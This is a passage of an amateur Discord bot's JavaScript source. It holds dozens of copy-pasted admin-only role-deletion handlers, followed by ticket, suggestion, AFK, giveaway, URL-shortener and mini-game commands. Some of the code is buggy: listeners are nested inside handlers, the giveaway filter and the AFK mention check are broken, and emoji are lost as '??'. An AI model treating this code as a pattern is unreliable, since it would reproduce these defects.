  4498.  
  4499. });
  4500.  
  4501. client.on('message', async message => {
  4502.  
  4503. let args = message.content.split(' ').slice(1);
  4504. if (message.content.startsWith(">deletecolors")) {
  4505. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4506. let role = message.guild.roles.find('name', '93');
  4507.  
  4508. role.delete()
  4509. }
  4510.  
  4511. });
  4512.  
  4513. client.on('message', async message => {
  4514.  
  4515. let args = message.content.split(' ').slice(1);
  4516. if (message.content.startsWith(">deletecolors")) {
  4517. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4518. let role = message.guild.roles.find('name', '94');
  4519.  
  4520. role.delete()
  4521. }
  4522.  
  4523. });
  4524.  
  4525. client.on('message', async message => {
  4526.  
  4527. let args = message.content.split(' ').slice(1);
  4528. if (message.content.startsWith(">deletecolors")) {
  4529. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4530. let role = message.guild.roles.find('name', '95');
  4531.  
  4532. role.delete()
  4533. }
  4534.  
  4535. });
  4536.  
  4537. client.on('message', async message => {
  4538.  
  4539. let args = message.content.split(' ').slice(1);
  4540. if (message.content.startsWith(">deletecolors")) {
  4541. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4542. let role = message.guild.roles.find('name', '96');
  4543.  
  4544. role.delete()
  4545. }
  4546.  
  4547. });
  4548.  
  4549. client.on('message', async message => {
  4550.  
  4551. let args = message.content.split(' ').slice(1);
  4552. if (message.content.startsWith (">deletecolors")) {
  4553. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4554. let role = message.guild.roles.find('name', '97');
  4555.  
  4556. role.delete()
  4557. }
  4558.  
  4559. });
  4560.  
  4561. client.on('message', async message => {
  4562.  
  4563. let args = message.content.split(' ').slice(1);
  4564. if (message.content.startsWith(">deletecolors")) {
  4565. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4566. let role = message.guild.roles.find('name', '98');
  4567.  
  4568. role.delete()
  4569. }
  4570.  
  4571. });
  4572.  
  4573. client.on('message', async message => {
  4574.  
  4575. let args = message.content.split(' ').slice(1);
  4576. if (message.content.startsWith(">deletecolors")) {
  4577. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4578. let role = message.guild.roles.find('name', '99');
  4579.  
  4580. role.delete()
  4581. }
  4582.  
  4583. });
  4584.  
  4585. client.on('message', async message => {
  4586.  
  4587. let args = message.content.split(' ').slice(1);
  4588. if (message.content.startsWith(">deletecolors")) {
  4589. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4590. let role = message.guild.roles.find('name', '100');
  4591.  
  4592. role.delete()
  4593. }
  4594.  
  4595. });
  4596.  
  4597. client.on('message', async message => {
  4598.  
  4599. let args = message.content.split(' ').slice(1);
  4600. if (message.content.startsWith(">deletecolors")) {
  4601. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4602. let role = message.guild.roles.find('name', '101');
  4603.  
  4604. role.delete()
  4605. }
  4606.  
  4607. });
  4608.  
  4609. client.on('message', async message => {
  4610.  
  4611. let args = message.content.split(' ').slice(1);
  4612. if (message.content.startsWith(">deletecolors")) {
  4613. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4614. let role = message.guild.roles.find('name', '102');
  4615.  
  4616. role.delete()
  4617. }
  4618.  
  4619. });
  4620.  
  4621. client.on('message', async message => {
  4622.  
  4623. let args = message.content.split(' ').slice(1);
  4624. if (message.content.startsWith(">deletecolors")) {
  4625. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4626. let role = message.guild.roles.find('name', '103');
  4627.  
  4628. role.delete()
  4629. }
  4630.  
  4631. });
  4632.  
  4633. client.on('message', async message => {
  4634.  
  4635. let args = message.content.split(' ').slice(1);
  4636. if (message.content.startsWith(">deletecolors")) {
  4637. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4638. let role = message.guild.roles.find('name', '104');
  4639.  
  4640. role.delete()
  4641. }
  4642.  
  4643. });
  4644.  
  4645. client.on('message', async message => {
  4646.  
  4647. let args = message.content.split(' ').slice(1);
  4648. if (message.content.startsWith(">deletecolors")) {
  4649. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4650. let role = message.guild.roles.find('name', '105');
  4651.  
  4652. role.delete()
  4653. }
  4654.  
  4655. });
  4656.  
  4657. client.on('message', async message => {
  4658.  
  4659. let args = message.content.split(' ').slice(1);
  4660. if (message.content.startsWith (">deletecolors")) {
  4661. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4662. let role = message.guild.roles.find('name', '106');
  4663.  
  4664. role.delete()
  4665. }
  4666.  
  4667. });
  4668.  
  4669. client.on('message', async message => {
  4670.  
  4671. let args = message.content.split(' ').slice(1);
  4672. if (message.content.startsWith(">deletecolors")) {
  4673. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4674. let role = message.guild.roles.find('name', '107');
  4675.  
  4676. role.delete()
  4677. }
  4678.  
  4679. });
  4680.  
  4681. client.on('message', async message => {
  4682.  
  4683. let args = message.content.split(' ').slice(1);
  4684. if (message.content.startsWith(">deletecolors")) {
  4685. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4686. let role = message.guild.roles.find('name', '108');
  4687.  
  4688. role.delete()
  4689. }
  4690.  
  4691. });
  4692.  
  4693. client.on('message', async message => {
  4694.  
  4695. let args = message.content.split(' ').slice(1);
  4696. if (message.content.startsWith(">deletecolors")) {
  4697. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4698. let role = message.guild.roles.find('name', '109');
  4699.  
  4700. role.delete()
  4701. }
  4702.  
  4703. });
  4704.  
  4705. client.on('message', async message => {
  4706.  
  4707. let args = message.content.split(' ').slice(1);
  4708. if (message.content.startsWith(">deletecolors")) {
  4709. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4710. let role = message.guild.roles.find('name', '110');
  4711.  
  4712. role.delete()
  4713. }
  4714.  
  4715. });
  4716.  
  4717. client.on('message', async message => {
  4718.  
  4719. let args = message.content.split(' ').slice(1);
  4720. if (message.content.startsWith(">deletecolors")) {
  4721. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4722. let role = message.guild.roles.find('name', '111');
  4723.  
  4724. role.delete()
  4725. }
  4726.  
  4727. });
  4728.  
  4729. client.on('message', async message => {
  4730.  
  4731. let args = message.content.split(' ').slice(1);
  4732. if (message.content.startsWith(">deletecolors")) {
  4733. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4734. let role = message.guild.roles.find('name', '112');
  4735.  
  4736. role.delete()
  4737. }
  4738.  
  4739. });
  4740.  
  4741. client.on('message', async message => {
  4742.  
  4743. let args = message.content.split(' ').slice(1);
  4744. if (message.content.startsWith(">deletecolors")) {
  4745. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4746. let role = message.guild.roles.find('name', '113');
  4747.  
  4748. role.delete()
  4749. }
  4750.  
  4751. });
  4752.  
  4753. client.on('message', async message => {
  4754.  
  4755. let args = message.content.split(' ').slice(1);
  4756. if (message.content.startsWith(">deletecolors")) {
  4757. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4758. let role = message.guild.roles.find('name', '114');
  4759.  
  4760. role.delete()
  4761. }
  4762.  
  4763. });
  4764.  
  4765. client.on('message', async message => {
  4766.  
  4767. let args = message.content.split(' ').slice(1);
  4768. if (message.content.startsWith(">deletecolors")) {
  4769. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4770. let role = message.guild.roles.find('name', '115');
  4771.  
  4772. role.delete()
  4773. }
  4774.  
  4775. });
  4776.  
  4777. client.on('message', async message => {
  4778.  
  4779. let args = message.content.split(' ').slice(1);
  4780. if (message.content.startsWith(">deletecolors")) {
  4781. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4782. let role = message.guild.roles.find('name', '116');
  4783.  
  4784. role.delete()
  4785. }
  4786.  
  4787. });
  4788.  
  4789. client.on('message', async message => {
  4790.  
  4791. let args = message.content.split(' ').slice(1);
  4792. if (message.content.startsWith(">deletecolors")) {
  4793. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4794. let role = message.guild.roles.find('name', '117');
  4795.  
  4796. role.delete()
  4797. }
  4798.  
  4799. });
  4800.  
  4801. client.on('message', async message => {
  4802.  
  4803. let args = message.content.split(' ').slice(1);
  4804. if (message.content.startsWith(">deletecolors")) {
  4805. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4806. let role = message.guild.roles.find('name', '118');
  4807.  
  4808. role.delete()
  4809. }
  4810.  
  4811. });
  4812.  
  4813. client.on('message', async message => {
  4814.  
  4815. let args = message.content.split(' ').slice(1);
  4816. if (message.content.startsWith(">deletecolors")) {
  4817. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4818. let role = message.guild.roles.find('name', '119');
  4819.  
  4820. role.delete()
  4821. }
  4822.  
  4823. });
  4824.  
  4825. client.on('message', async message => {
  4826.  
  4827. let args = message.content.split(' ').slice(1);
  4828. if (message.content.startsWith(">deletecolors")) {
  4829. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4830. let role = message.guild.roles.find('name', '121');
  4831.  
  4832. role.delete()
  4833. }
  4834.  
  4835. });
  4836.  
  4837. client.on('message', async message => {
  4838.  
  4839. let args = message.content.split(' ').slice(1);
  4840. if (message.content.startsWith(">deletecolors")) {
  4841. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4842. let role = message.guild.roles.find('name', '122');
  4843.  
  4844. role.delete()
  4845. }
  4846.  
  4847. });
  4848.  
  4849. client.on('message', async message => {
  4850.  
  4851. let args = message.content.split(' ').slice(1);
  4852. if (message.content.startsWith("!deletecolors")) {
  4853. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4854. let role = message.guild.roles.find('name', '123');
  4855.  
  4856. role.delete()
  4857. }
  4858.  
  4859. });
  4860. client.on('message', async message => {
  4861.  
  4862. let args = message.content.split(' ').slice(1);
  4863. if (message.content.startsWith(">deletecolors")) {
  4864. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4865. let role = message.guild.roles.find('name', '124');
  4866.  
  4867. role.delete()
  4868. }
  4869.  
  4870. });
  4871.  
  4872. client.on('message', async message => {
  4873.  
  4874. let args = message.content.split(' ').slice(1);
  4875. if (message.content.startsWith(">deletecolors")) {
  4876. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4877. let role = message.guild.roles.find('name', '125');
  4878.  
  4879. role.delete()
  4880. }
  4881.  
  4882. });
  4883. client.on('message', async message => {
  4884.  
  4885. let args = message.content.split(' ').slice(1);
  4886. if (message.content.startsWith(">deletecolors")) {
  4887. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4888. let role = message.guild.roles.find('name', '126');
  4889.  
  4890. role.delete()
  4891. }
  4892.  
  4893. });
  4894.  
  4895. client.on('message', async message => {
  4896.  
  4897. let args = message.content.split(' ').slice(1);
  4898. if (message.content.startsWith(">deletecolors")) {
  4899. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4900. let role = message.guild.roles.find('name', '127');
  4901.  
  4902. role.delete()
  4903. }
  4904.  
  4905. });
  4906.  
  4907. client.on('message', async message => {
  4908.  
  4909. let args = message.content.split(' ').slice(1);
  4910. if (message.content.startsWith(">deletecolors")) {
  4911. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4912. let role = message.guild.roles.find('name', '128');
  4913.  
  4914. role.delete()
  4915. }
  4916.  
  4917. });
  4918.  
  4919. client.on('message', async message => {
  4920.  
  4921. let args = message.content.split(' ').slice(1);
  4922. if (message.content.startsWith(">deletecolors")) {
  4923. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4924. let role = message.guild.roles.find('name', '129');
  4925.  
  4926. role.delete()
  4927. }
  4928.  
  4929. });
  4930.  
  4931. client.on('message', async message => {
  4932.  
  4933. let args = message.content.split(' ').slice(1);
  4934. if (message.content.startsWith(">deletecolors")) {
  4935. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4936. let role = message.guild.roles.find('name', '130');
  4937.  
  4938. role.delete()
  4939. }
  4940.  
  4941. });
  4942. client.on('message', async message => {
  4943.  
  4944. let args = message.content.split(' ').slice(1);
  4945. if (message.content.startsWith(">deletecolors")) {
  4946. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4947. let role = message.guild.roles.find('name', '131');
  4948.  
  4949. role.delete()
  4950. }
  4951.  
  4952. });
  4953.  
  4954. client.on('message', async message => {
  4955.  
  4956. let args = message.content.split(' ').slice(1);
  4957. if (message.content.startsWith(">deletecolors")) {
  4958. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4959. let role = message.guild.roles.find('name', '132');
  4960.  
  4961. role.delete()
  4962. }
  4963.  
  4964. });
  4965. client.on('message', async message => {
  4966.  
  4967. let args = message.content.split(' ').slice(1);
  4968. if (message.content.startsWith(">deletecolors")) {
  4969. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4970. let role = message.guild.roles.find('name', '133');
  4971.  
  4972. role.delete()
  4973. }
  4974.  
  4975. });
  4976.  
  4977. client.on('message', async message => {
  4978.  
  4979. let args = message.content.split(' ').slice(1);
  4980. if (message.content.startsWith(">deletecolors")) {
  4981. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4982. let role = message.guild.roles.find('name', '134');
  4983.  
  4984. role.delete()
  4985. }
  4986.  
  4987. });
  4988. client.on('message', async message => {
  4989.  
  4990. let args = message.content.split(' ').slice(1);
  4991. if (message.content.startsWith(">deletecolors")) {
  4992. if(!message.member.hasPermission('ADMINISTRATOR')) return
  4993. let role = message.guild.roles.find('name', '135');
  4994.  
  4995. role.delete()
  4996. }
  4997.  
  4998. });
  4999.  
  5000. client.on('message', async message => {
  5001.  
  5002. let args = message.content.split(' ').slice(1);
  5003. if (message.content.startsWith(">deletecolors")) {
  5004. if(!message.member.hasPermission('ADMINISTRATOR')) return
  5005. let role = message.guild.roles.find('name', '136');
  5006.  
  5007. role.delete()
  5008. }
  5009.  
  5010. });
  5011.  
  5012.  
  5013.  
  5014. client.on('message', async message => {
  5015.  
  5016. let args = message.content.split(' ').slice(1);
  5017. if (message.content.startsWith(">deletecolors")) {
  5018. if(!message.member.hasPermission('ADMINISTRATOR')) return
  5019. let role = message.guild.roles.find('name', '137');
  5020.  
  5021. role.delete()
  5022. }
  5023.  
  5024. });
  5025. })
  5026.  
  5027.  
  5028.  
  5029.  
  5030.  
  5031.  
  5032. client.on('message', message =>{
  5033. if(message.content === '>ping'){
  5034. let start = Date.now(); message.channel.send('pong').then(message => {
  5035. message.edit(`\`\`\`js
  5036. Time taken: ${Date.now() - start} ms
  5037. Discord API: ${client.ping.toFixed(0)} ms\`\`\``);
  5038. });
  5039. }
  5040. });
  5041.  
  5042.  
  5043.  
  5044.  
  5045. client.on("message", (message) => {
  5046. function clean(text) {
  5047. if (typeof(text) === "string")
  5048. return text.replace(/`/g, "`" + String.fromCharCode(8203)).replace(/@/g, "@" + String.fromCharCode(8203));
  5049. else
  5050. return text;
  5051. }
  5052. client.on("ready", () => {
  5053. console.log(`OrochiX | Logged in! Server count: ${client.guilds.size}`);
  5054. });
  5055. if (!message.content.startsWith(prefix) || message.author.bot) return;
  5056. if (message.content.toLowerCase().startsWith(prefix + `new`)) {
  5057. const reason = message.content.split(" ").slice(1).join(" ");
  5058. if (!message.guild.roles.exists("name", "Support Team")) return message.channel.send(`This server doesn't have a \`Support Team\` role made, so the ticket won't be opened.\nIf you are an administrator, make one with that name exactly and give it to users that should be able to see tickets.`);
  5059. if (message.guild.channels.exists("name", "ticket-" + message.author.id)) return message.channel.send(`You already have a ticket open.`);
  5060. message.guild.createChannel(`ticket-${message.author.id}`, "text").then(c => {
  5061. let role = message.guild.roles.find("name", "Support Team");
  5062. let role2 = message.guild.roles.find("name", "@everyone");
  5063. c.overwritePermissions(role, {
  5064. SEND_MESSAGES: true,
  5065. READ_MESSAGES: true
  5066. });
  5067. c.overwritePermissions(role2, {
  5068. SEND_MESSAGES: false,
  5069. READ_MESSAGES: false
  5070. });
  5071. c.overwritePermissions(message.author, {
  5072. SEND_MESSAGES: true,
  5073. READ_MESSAGES: true
  5074. });
  5075. message.channel.send(`:white_check_mark: Your ticket has been created, #${c.name}.`);
  5076. const embed = new Discord.RichEmbed()
  5077. .setColor(0xCF40FA)
  5078. .addField(`Hey ${message.author.username}!`, `Please try explain why you opened this ticket with as much detail as possible. Our **Support Team** will be here soon to help.`)
  5079. .setTimestamp();
  5080. c.send({ embed: embed });
  5081. }).catch(console.error);
  5082. }
  5083. if (message.content.toLowerCase().startsWith(prefix + `close`)) {
  5084. if (!message.channel.name.startsWith(`ticket-`)) return message.channel.send(`You can't use the close command outside of a ticket channel.`);
  5085.  
  5086. message.channel.send(`Are you sure? Once confirmed, you cannot reverse this action!\nTo confirm, type \`>confirm\`. This will time out in 10 seconds and be cancelled.`)
  5087. .then((m) => {
  5088. message.channel.awaitMessages(response => response.content === '>confirm', {
  5089. max: 1,
  5090. time: 10000,
  5091. errors: ['time'],
  5092. })
  5093. .then((collected) => {
  5094. message.channel.delete();
  5095. })
  5096. .catch(() => {
  5097. m.edit('Ticket close timed out, the ticket was not closed.').then(m2 => {
  5098. m2.delete();
  5099. }, 3000);
  5100. });
  5101. });
  5102. }
  5103.  
  5104. });
  5105.  
  5106. const sug = JSON.parse(fs.readFileSync('./sug.json' , 'utf8'));
  5107.  
  5108. client.on('message', message => {
  5109. if (!message.channel.guild) return;
  5110.  
  5111. let room = message.content.split(" ").slice(1);
  5112. let findroom = message.guild.channels.find('name', `${room}`)
  5113. if(message.content.startsWith(prefix + "setSug")) {
  5114. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  5115. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  5116. if(!room) return message.channel.send('Please Type The Channel Name')
  5117. if(!findroom) return message.channel.send('Cant Find This Channel')
  5118. let embed = new Discord.RichEmbed()
  5119. .setTitle('**Done The Suggest Code Has Been Setup**')
  5120. .addField('Channel:', `${room}`)
  5121. .addField('Requested By:', `${message.author}`)
  5122. .setThumbnail(message.author.avatarURL)
  5123. .setFooter(`${client.user.username}`)
  5124. message.channel.sendEmbed(embed)
  5125. sug[message.guild.id] = {
  5126. channel: room,
  5127. }
  5128. fs.writeFile("./sug.json", JSON.stringify(sug), (err) => {
  5129. if (err) console.error(err)
  5130. })
  5131. client.on('message', message => {
  5132.  
  5133.  
  5134. if(message.content.startsWith(`${prefix}suggest`)) {
  5135. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  5136. let suggest = message.content.split(" ").slice(1);
  5137. if(!suggest) return message.reply(`**Please Type The Suggest**`)
  5138. let findchannel = (message.guild.channels.find('name', `${sug[message.guild.id].channel}`))
  5139. if(!findchannel) return message.channel.send(`Error 404: The Suggest Channel Cant Find Or Not Set To Set The Suggest Channel Type: ${prefix}setSug`)
  5140. message.channel.send(`Done Your Suggest Will Be Seen By The Staffs`)
  5141. let sugembed = new Discord.RichEmbed()
  5142. .setTitle('New Suggest !')
  5143. .addField('Suggest By:', `${message.author}`)
  5144. .addField('Suggest:', `${suggest}`)
  5145. .setFooter('?????????? ??????')
  5146. findchannel.sendEmbed(sugembed)
  5147. .then(function (message) {
  5148. message.react('?')
  5149. message.react('?')
  5150. })
  5151. .catch(err => {
  5152. message.reply(`Error 404: The Suggest Channel Cant Find Or Not Set To Set The Suggest Channel Type: ${prefix}setSug`)
  5153. console.error(err);
  5154. });
  5155. }
  5156. })
  5157. }})
  5158.  
  5159.  
  5160. client.on('message', function(message) {
  5161. if(message.content.startsWith(prefix + 'قرعة')) {
  5162. let args = message.content.split(" ").slice(1);
  5163. if (!args[0]) {
  5164. message.channel.send('**حط رقم معين يتم السحب منه**');
  5165. return;
  5166. }
  5167. message.channel.send(Math.floor(Math.random() * args.join(' ')));
  5168. if (!args[0]) {
  5169. message.edit('1')
  5170. return;
  5171. }
  5172. }
  5173. });
  5174.  
  5175.  
  5176.  
  5177.  
  5178.  
  5179.  
  5180. const afk = require('./afk.json');
  5181. client.on('message',async rebel => {
  5182. if(rebel.author.bot) return;
  5183. if (afk[rebel.author.id]) {
  5184. delete afk[rebel.author.id];
  5185. if (rebel.member.nickname === null) {
  5186. rebel.channel.send(" , <@"+rebel.author.id+"> I Try To Remove Afk Mode For You."); } else {
  5187. rebel.member.setNickname(rebel.member.nickname.replace(/(\[AFK\])/,''));
  5188. rebel.channel.send(" , <@"+rebel.author.id+"> Your Afk Has Been Removed Becouse You Back.");
  5189. }
  5190. fs.writeFile("./afk.json", JSON.stringify(afk), (err) => {if (err) console.error(err);});
  5191. } else {
  5192. if (rebel.content.startsWith(prefix + 'afk ')||rebel.content === prefix + 'afk') {
  5193. rebel.member.setNickname("[AFK] " + rebel.member.displayName);
  5194. let args1 = rebel.content.split(' ').slice(1);
  5195. if (args1.length === 0) {
  5196. afk[rebel.author.id] = {"reason": true};
  5197. rebel.reply("** You Are In Afk Mode **")
  5198. } else {
  5199. afk[rebel.author.id] = {"reason": args1.join(" ")}; // with reason
  5200. rebel.reply("You Are In Afk Mode Becouse "+ args1.join(" ") + ".")
  5201. }
  5202. fs.writeFile("./afk.json", JSON.stringify(afk), (err) => {if (err) console.error(err);});
  5203. }
  5204. }
  5205. var mentionned = rebel.mentions.users.first();
  5206. if(rebel.mentions.users.size > 0) return ;
  5207. if (afk[rebel.mentions.users.first()]) {
  5208. if (afk[rebel.mentions.users.first()].reason === true) {
  5209. rebel.channel.send(`**<@!${mentionned.id}> In Afk Mode** `);
  5210. }else{
  5211. rebel.channel.send(`**<@!${mentionned.username}> In Afk Mode Reason: \n ${afk[rebel.mentions.users.first().id].reason}**`);
  5212. }
  5213. }
  5214. });
  5215.  
  5216. client.on('message',async message => {
  5217. var time = moment().format('Do MMMM YYYY , hh:mm');
  5218. var room;
  5219. var title;
  5220. var duration;
  5221. var gMembers;
  5222. var currentTime = new Date(),
  5223. hours = currentTime.getHours() + 3 ,
  5224. minutes = currentTime.getMinutes(),
  5225. done = currentTime.getMinutes() + duration / 60000 ,
  5226. seconds = currentTime.getSeconds();
  5227. if (minutes < 10) {
  5228. minutes = "0" + minutes;
  5229. }
  5230. var suffix = "AM";
  5231. if (hours >= 12) {
  5232. suffix = "PM";
  5233. hours = hours - 12;
  5234. }
  5235. if (hours == 0) {
  5236. hours = 12;
  5237. }
  5238. var filter = m => m.author.id === message.author.id;
  5239. if(message.content.startsWith(prefix + "giveaway")) {
  5240.  
  5241. if(!message.guild.member(message.author).hasPermission('MANAGE_GUILD')) return message.channel.send(':heavy_multiplication_x:| **يجب أن يكون لديك خاصية التعديل على السيرفر**');
  5242. message.channel.send(`:eight_pointed_black_star:| **Send Name channel For the Giveaway**`).then(msg => {
  5243. message.channel.awaitMessages(filter, {
  5244. max: 1,
  5245. time: 20000,
  5246. errors: ['time']
  5247. }).then(collected => {
  5248. let room = message.guild.channels.find('name' , collected.first().content);
  5249. if(!room) return message.channel.send(':heavy_multiplication_x:| **i Found It :(**');
  5250. room = collected.first().content;
  5251. collected.first().delete();
  5252. msg.edit(':eight_pointed_black_star:| **Time For The Giveaway**').then(msg => {
  5253. message.channel.awaitMessages(filter, {
  5254. max: 1,
  5255. time: 20000,
  5256. errors: ['time']
  5257. }).then(collected => {
  5258. if(isNaN(collected.first().content)) return message.channel.send(':heavy_multiplication_x:| **The Time Be Nambers `` Do the Commend Agin``**');
  5259. duration = collected.first().content * 60000;
  5260. collected.first().delete();
  5261. msg.edit(':eight_pointed_black_star:| **Now send The Present **').then(msg => {
  5262. message.channel.awaitMessages(filter, {
  5263. max: 1,
  5264. time: 20000,
  5265. errors: ['time']
  5266. }).then(collected => {
  5267. title = collected.first().content;
  5268. collected.first().delete();
  5269. msg.delete();
  5270. message.delete();
  5271. try {
  5272. let giveEmbed = new Discord.RichEmbed()
  5273. .setDescription(`**${title}** \nReact With ?? To Enter! \nTime remaining : ${duration / 60000} **Minutes**\n **Created at :** ${hours}:${minutes}:${seconds} ${suffix}`)
  5274. .setFooter(message.author.username, message.author.avatarURL);
  5275. message.guild.channels.find("name" , room).send(' :heavy_check_mark: **Giveaway Created** :heavy_check_mark:' , {embed: giveEmbed}).then(m => {
  5276. let re = m.react('??');
  5277. setTimeout(() => {
  5278. let users = m.reactions.get("??").users;
  5279. let list = users.array().filter(u => u.id !== m.author.id !== client.user.id);
  5280. let gFilter = list[Math.floor(Math.random() * list.length) + 0]
  5281. let endEmbed = new Discord.RichEmbed()
  5282. .setAuthor(message.author.username, message.author.avatarURL)
  5283. .setTitle(title)
  5284. .addField('Giveaway Ended !??',`Winners : ${gFilter} \nEnded at :`)
  5285. .setTimestamp()
  5286. m.edit('** ?? GIVEAWAY ENDED ??**' , {embed: endEmbed});
  5287. message.guild.channels.find("name" , room).send(`**Congratulations ${gFilter}! You won The \`${title}\`**` , {embed: {}})
  5288. },duration);
  5289. });
  5290. } catch(e) {
  5291. message.channel.send(`:heavy_multiplication_x:| **i Don't Have Prem**`);
  5292. console.log(e);
  5293. }
  5294. });
  5295. });
  5296. });
  5297. });
  5298. });
  5299. });
  5300. }
  5301. });
  5302.  
  5303. const shorten = require('isgd');
  5304. client.on('message', message => {
  5305. if (message.content.startsWith(prefix + 'short')) {
  5306. let args = message.content.split(" ").slice(1);
  5307. if (!args[0]) return message.channel.send('**Usage**: '+ prefix +'short <رابط>')
  5308. if (!args[1]) {
  5309. shorten.shorten(args[0], function(res) {
  5310. if (res.startsWith('Error:')) return message.channel.send('**Usage**: '+ prefix +'short <link>');
  5311. message.channel.send(`اختصار الرابط:**<${res}>**`);
  5312. })
  5313. } else {
  5314. shorten.custom(args[0], args[1], function(res) {
  5315. if (res.startsWith('Error:')) return message.channel.send(`اختصار الرابط:**${res}**`);
  5316. message.channel.send(`اختصار الرابط:**<${res}>**`);
  5317. })}}});
  5318.  
  5319.  
  5320.  
  5321.  
  5322.  
  5323. client.on("message", async message => {
  5324. if(message.author.bot) return;
  5325. if(message.channel.type === "dm") return;
  5326. let prefix = '>'
  5327. let messageArray = message.content.split (" ");
  5328. let args = messageArray.slice(1);
  5329.  
  5330. if (message.content.startsWith(prefix + "8ball")) {
  5331.  
  5332.  
  5333. if(!args[1]) return message.reply("?");
  5334. let replies = ["يب", "لا.", "ما بعرف.", "اسالني لاحقا لو سمحت"];
  5335.  
  5336. let result = Math.floor((Math.random() * replies.length));
  5337. let question = args.slice(1).join(" ");
  5338.  
  5339. message.channel.sendMessage(`${replies[Math.floor(Math.random() * replies.length)]}`); ///Alpha Codes
  5340. if (!args[0]) {
  5341. message.edit('1')
  5342. return;
  5343. }
  5344. }
  5345. });
  5346.  
  5347.  
  5348.  
  5349. client.on('message', message => {
  5350. if(message.content.startsWith(">slots")) {
  5351. let slot1 = ['??', '??', '??', '??', '??', '??', '??', '??'];
  5352. let slot2 = ['??', '??', '??', '??', '??', '??', '??', '??'];
  5353. let slot3 = ['??', '??', '??', '??', '??', '??', '??', '??'];
  5354. let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
  5355. let slots2 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
  5356. let slots3 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
  5357. let we;
  5358. if(slots1 === slots2 && slots2 === slots3) {
  5359. we = "??لقد ربحت يا بطل??"
  5360. } else {
  5361. we = "??لقد خسرت حظ آوفر??"
  5362. }
  5363. message.channel.send(`${slots1} | ${slots2} | ${slots3} - ${we}`)
  5364. }
  5365. });
  5366.  
  5367.  
  5368.  
  5369.  
  5370.  
  5371. client.on('message', message => {
  5372. if(message.content.startsWith(">حجرة")) {
  5373. let slot1 = ['?ورقة??', '??حجرة??', '?مقص??'];
  5374. let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
  5375. let we;
  5376. if(slots1) {
  5377. we = "??ألعب مرة آخرى??"
  5378. } else {
  5379. we = "??لقد خسرت حظ آوفر??"
  5380. }
  5381. message.channel.send(`${slots1} - ${we}`)
  5382. }
  5383. });
  5384.  
  5385.  
  5386.  
  5387. client.on('message', message => {
  5388. if(message.content.startsWith(">ورقة")) {
  5389. let slot1 = ['?ورقة??', '??حجرة??', '?مقص??'];
  5390. let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
  5391. let we;
  5392. if(slots1) {
  5393. we = "??ألعب مرة آخرى??"
  5394. } else {
  5395. we = "??لقد خسرت حظ آوفر??"
  5396. }
  5397. message.channel.send(`${slots1} - ${we}`)
  5398. }
  5399. });
  5400.  
  5401. client.on('message', message => {
  5402. if (message.content === ">server") {
  5403. let embed = new Discord.RichEmbed()
  5404. .setColor("RANDOM")
  5405. .setThumbnail(message.guild.iconURL)
  5406. .setTitle(`info about ${message.guild.name}`)
  5407. .addField(' ?? Server ID',`?` + message.guild.id, true)
  5408. .addField(" ?? Owned by",`? ${message.guild.owner.user.username}#${message.guild.owner.user.discriminator}`)
  5409. .addField(" ?? Server Region",`? ` + message.guild.region, true)
  5410. .addField(" ?? Server Member Size",`? ` + message.guild.memberCount, true)
  5411. .addField(' ?? Channels ', `? **${message.guild.channels.filter(m => m.type === 'text').size}** + ' text | Voice '+ **${message.guild.channels.filter(m => m.type === 'voice').size}**`,true)
  5412. .addField(" ?? Roles ", `? ${message.guild.roles.size} Role`,true)
  5413. .addField(" ?? Created On", `? ${message.guild.createdAt.toLocaleString()}`,true)
  5414. .addField(" ?? AFK channel",`? ` + message.guild.afkChannel || 'Null', true)
  5415. .setTimestamp()
  5416. .setFooter(message.author.tag, message.author.avatarURL)
  5417.  
  5418.  
  5419. message.channel.sendEmbed(embed);
  5420. }
  5421. });
  5422.  
  5423.  
  5424.  
  5425.  
  5426. client.on('message', message => {
  5427. if(message.content.startsWith(">مقص")) {
  5428. let slot1 = ['?ورقة??', '??حجرة??', '?مقص??'];
